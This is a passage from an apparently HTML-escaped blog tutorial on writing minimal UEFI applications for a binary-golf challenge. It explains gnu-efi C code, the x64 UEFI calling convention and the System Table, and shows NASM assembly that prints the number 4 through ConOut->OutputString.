&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_INPUT_KEY&lt;/span> &lt;span class="n">efi_input_key&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_STATUS&lt;/span> &lt;span class="n">efi_status&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">InitializeLib&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">systab&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">Print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34; (0w0)/ (^V^)/ (@.@)/ &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">Print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34; Your boys just want to &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">Print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34; dap you up before you boot.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">Print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">Print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34; Press any key to dap.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">WaitForSingleEvent&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ST&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ConIn&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">WaitForKey&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">uefi_call_wrapper&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ST&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ConOut&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">OutputString&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ST&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ConOut&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">efi_status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">uefi_call_wrapper&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ST&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ConIn&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ReadKeyStroke&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ST&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ConIn&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">efi_input_key&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">Print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;You dapped: ScanCode [%02xh] UnicodeChar [%02xh] CallRtStatus [%02xh]&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">efi_input_key&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ScanCode&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">efi_input_key&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">UnicodeChar&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">efi_status&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EFI_SUCCESS&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Every UEFI application starts with &lt;code>efi_main&lt;/code>. This is the main function of the program, with the &lt;code>EFI_HANDLE&lt;/code> and the &lt;code>EFI_SYSTEM_TABLE&lt;/code> passed as arguments.&lt;/p>
&lt;p>The &lt;a href="https://uefi.org/specs/UEFI/2.10/04_EFI_System_Table.html">System Table&lt;/a> (referred to as &lt;code>ST&lt;/code> in this program) is an important structure that provides pointers to services you can call. The &lt;code>uefi_call_wrapper&lt;/code> is just a way you can call these functions directly that is specific to this gnu-efi implementation. In EDK2, there are functions defined for these calls to make it a bit less clunky to use and provide some checks for the programmer.&lt;/p>
&lt;p>To be honest, I liked how hacky this all was in gnu-efi, because it was easier to study than trying to look it all up in the EDK2 source.&lt;/p>
&lt;p>Okay, let&amp;rsquo;s take a look at how &lt;a href="https://uefi.org/specs/UEFI/2.10/12_Protocols_Console_Support.html#efi-simple-text-output-protocol-outputstring">OutputString&lt;/a> is called via &lt;code>uefi_call_wrapper&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">uefi_call_wrapper&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ST&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ConOut&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">OutputString&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ST&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">ConOut&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ul>
&lt;li>The first argument is a function pointer to the OutputString function of ConOut, which is stored in the System Table (ST).&lt;/li>
&lt;li>The second argument is the number of arguments in this call.&lt;/li>
&lt;li>The rest of the arguments are arguments to OutputString, which are &lt;code>ST-&amp;gt;ConOut&lt;/code> and two new lines.&lt;/li>
&lt;/ul>
&lt;p>This is the function prototype of OutputString, which has two arguments that match what we are seeing the in the code.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_TEXT_STRING&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">This&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">CHAR16&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">String&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Great! This shows us that if we want to golf this application, there are structures that can be traversed in order to find the functions we are looking for. This will help to avoid linking and symbols and everything that can make a binary extremely clunky.&lt;/p>
&lt;p>Alright, so now we know how to build a basic app and call functions, how can we write it in assembly?&lt;/p>
&lt;h2 id="understanding-the-x64-uefi-abi">Understanding the x64 UEFI ABI&lt;/h2>
&lt;p>The UEFI firmware is the running program that we can interact with that can load our application. You can talk it using the UEFI shell. This shell provides a very basic set of tools to run applications, examine memory, query and set up peripherals and drivers, and other utilities.&lt;/p>
&lt;p>The UEFI firmware I am using to test my applications is &lt;a href="https://github.com/tianocore/tianocore.github.io/wiki/OVMF">OVMF&lt;/a>, which is the Open VM Firmware from EDK2 that is built to run in a virtual machine environment like QEMU.&lt;/p>
&lt;p>At the &lt;code>Shell&amp;gt;&lt;/code> prompt in OVMF, you can type &lt;code>fs0:&lt;/code> to get to the first filesystem, which should be mapped to your &lt;code>root/&lt;/code> folder. Then you can see files using the &lt;code>dir&lt;/code> command. The UEFI shell has a lot of interesting features and builtin commands. Type &lt;code>help&lt;/code> to see a full list. They even have a cute lil hex editor built right in.&lt;/p>
&lt;p>OVMF implements the UEFI &lt;a href="https://en.wikipedia.org/wiki/Application_binary_interface">ABI&lt;/a>, which is a set of rules that are assumed to be followed by applications in a given environment. These rules dictate things like what registers are used as arguments to a function, which registers are considered volatile between function calls, how the stack should be aligned, and who takes care of cleanup. Normally this information is abstracted from developers by the compiler, but it&amp;rsquo;s required information for programming in assembly.&lt;/p>
&lt;p>Even though the &lt;code>uefi_call_wrapper&lt;/code> is a fairly low level call, it still doesn&amp;rsquo;t show us what the ABI is. It&amp;rsquo;s here that I started combing the docs for information, and comparing to what I saw when I opened my application in Ghidra. The glue code that supports &lt;code>uefi_call_wrapper&lt;/code> is defined in &lt;code>inc/x86_64/efi_bind.h&lt;/code> in the gnu-efi source.&lt;/p>
&lt;p>Two important things to know are the Handoff State and Calling Conventions.&lt;/p>
&lt;p>The &lt;a href="https://uefi.org/specs/UEFI/2.10/02_Overview.html#handoff-state-2">x64 Handoff State&lt;/a> is described in 2.3.4.1 in the spec. This describes the register state when an application first starts, AKA when control is passed to &lt;code>efi_main()&lt;/code>&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>register&lt;/th>
&lt;th>contents&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>rcx&lt;/td>
&lt;td>EFI_HANDLE&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>rdx&lt;/td>
&lt;td>EFI_SYSTEM_TABLE*&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>rsp&lt;/td>
&lt;td>[return address]&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The &lt;a href="https://uefi.org/specs/UEFI/2.10/02_Overview.html#detailed-calling-conventions">Calling Convention&lt;/a> is defined in 2.3.4.2 in the spec. This is what registers represent arguments to a function.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Argument&lt;/th>
&lt;th>Register&lt;/th>
&lt;th>Note&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>1st&lt;/td>
&lt;td>rcx&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2nd&lt;/td>
&lt;td>rdx&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>3rd&lt;/td>
&lt;td>r8&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>4th&lt;/td>
&lt;td>r9&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>5th&lt;/td>
&lt;td>Stack&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-&lt;/td>
&lt;td>rax&lt;/td>
&lt;td>Return value&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>If you want to know more about the UEFI programming environment, check out &lt;a href="https://uefi.org/specs/UEFI/2.10/02_Overview.html">Section 2: Overview&lt;/a>. All of the info for &lt;a href="https://uefi.org/specs/UEFI/2.10/02_Overview.html#x64-platforms">x64 platforms&lt;/a> is in 2.3.4.&lt;/p>
&lt;p>Armed with this information, we can start writing some assembly!&lt;/p>
&lt;blockquote>
&lt;p>ic3qu33n found this repo that has UEFI programs built with nasm. I didn&amp;rsquo;t see these when I wrote this, but the examples may be useful if you&amp;rsquo;re trying to write UEFI programs in assembly:
&lt;a href="https://github.com/BrianOtto/nasm-uefi">https://github.com/BrianOtto/nasm-uefi&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;h2 id="printing-4-in-assembly">Printing 4 In Assembly&lt;/h2>
&lt;p>One of the BGGP4 challenge requirements is that the application needs to return, print, or otherwise display the number 4. Since the example app prints something, I figured we could try to reimplement that functionality in assembly. I&amp;rsquo;ll explain the process of finding the smallest PE header that would work on UEFI later, but for now, know that I can generate small PEs to test.&lt;/p>
&lt;p>This is a very basic implementation of calling &lt;code>OutputString()&lt;/code> in UEFI. The way that this code is structured is similar to how a lot of the code in the final app will be. I&amp;rsquo;ll walk through this implementation as a way to introduce the ABI and how to use it to write code in assembly.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="no">EFI_SYSTEM_TABLE_ConOut&lt;/span>&lt;span class="kd"> equ&lt;/span> &lt;span class="mh">0x40&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="no">EFI_SYSTEM_TABLE_ConOut_OutputString&lt;/span>&lt;span class="kd"> equ&lt;/span> &lt;span class="mh">0x08&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="no">EFI_SYSTEM_TABLE_BootServices&lt;/span>&lt;span class="kd"> equ&lt;/span> &lt;span class="mh">0x60&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">cStart:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rbp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rsp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">rcx&lt;/span> &lt;span class="c1">; [rbp+0x08] ImageHandle&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; [rbp+0x10] SystemTable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">print4:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; https://uefi.org/specs/UEFI/2.10/12_Protocols_Console_Support.html#efi-simple-text-output-protocol-outputstring&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; (EFIAPI *EFI_TEXT_STRING) (&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; IN EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *This, // rcx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; IN CHAR16 *String // rdx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; );&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; rax = SystemTable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xa0034&lt;/span> &lt;span class="c1">; rdx = String &amp;#34;4\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; [rbp+0x18] String &amp;#34;4\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rsp&lt;/span> &lt;span class="c1">; rdx = *String&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rcx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nv">EFI_SYSTEM_TABLE_ConOut&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; rcx = *This // The output file descriptor&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rcx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nv">EFI_SYSTEM_TABLE_ConOut_OutputString&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">rax&lt;/span> &lt;span class="c1">; Call SystemTable-&amp;gt;ConOut-&amp;gt;OutputString()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">bail:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">sub&lt;/span> &lt;span class="nb">rsp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x18&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ret&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The first three lines of this code are function offsets that are defined as constants to make the code a bit more readable. I got these offsets by examining the size of the structs we need to process, and comparing to what was in Ghidra when the call was actually made.&lt;/p>
&lt;p>The &lt;code>cStart&lt;/code> label is the start of the code. Since we know that the Handoff State puts useful data in rcx and rdx at the start of the program, we can push those on the stack because we will need them later on. The function we want to call is &lt;code>SystemTable-&amp;gt;ConOut-&amp;gt;OutputString()&lt;/code>. This means we need to navigate the System Table to get the address OutputString so we can call it.&lt;/p>
&lt;p>This is what the System Table looks like:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">typedef&lt;/span> &lt;span class="k">struct&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TABLE_HEADER&lt;/span> &lt;span class="n">Hdr&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">CHAR16&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">FirmwareVendor&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">UINT32&lt;/span> &lt;span class="n">FirmwareRevision&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_HANDLE&lt;/span> &lt;span class="n">ConsoleInHandle&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_SIMPLE_TEXT_INPUT_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">ConIn&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_HANDLE&lt;/span> &lt;span class="n">ConsoleOutHandle&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">ConOut&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// &amp;lt;-- We want this!
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">EFI_HANDLE&lt;/span> &lt;span class="n">StandardErrorHandle&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">StdErr&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_RUNTIME_SERVICES&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">RuntimeServices&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_BOOT_SERVICES&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">BootServices&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">UINTN&lt;/span> &lt;span class="n">NumberOfTableEntries&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_CONFIGURATION_TABLE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">ConfigurationTable&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span> &lt;span class="n">EFI_SYSTEM_TABLE&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>ConOut is a &lt;a href="https://uefi.org/specs/UEFI/2.10/12_Protocols_Console_Support.html#efi-simple-text-output-protocol">EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL&lt;/a> type, which looks like this:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">typedef&lt;/span> &lt;span class="k">struct&lt;/span> &lt;span class="n">_EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_RESET&lt;/span> &lt;span class="n">Reset&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_STRING&lt;/span> &lt;span class="n">OutputString&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// &amp;lt;-- We want this!
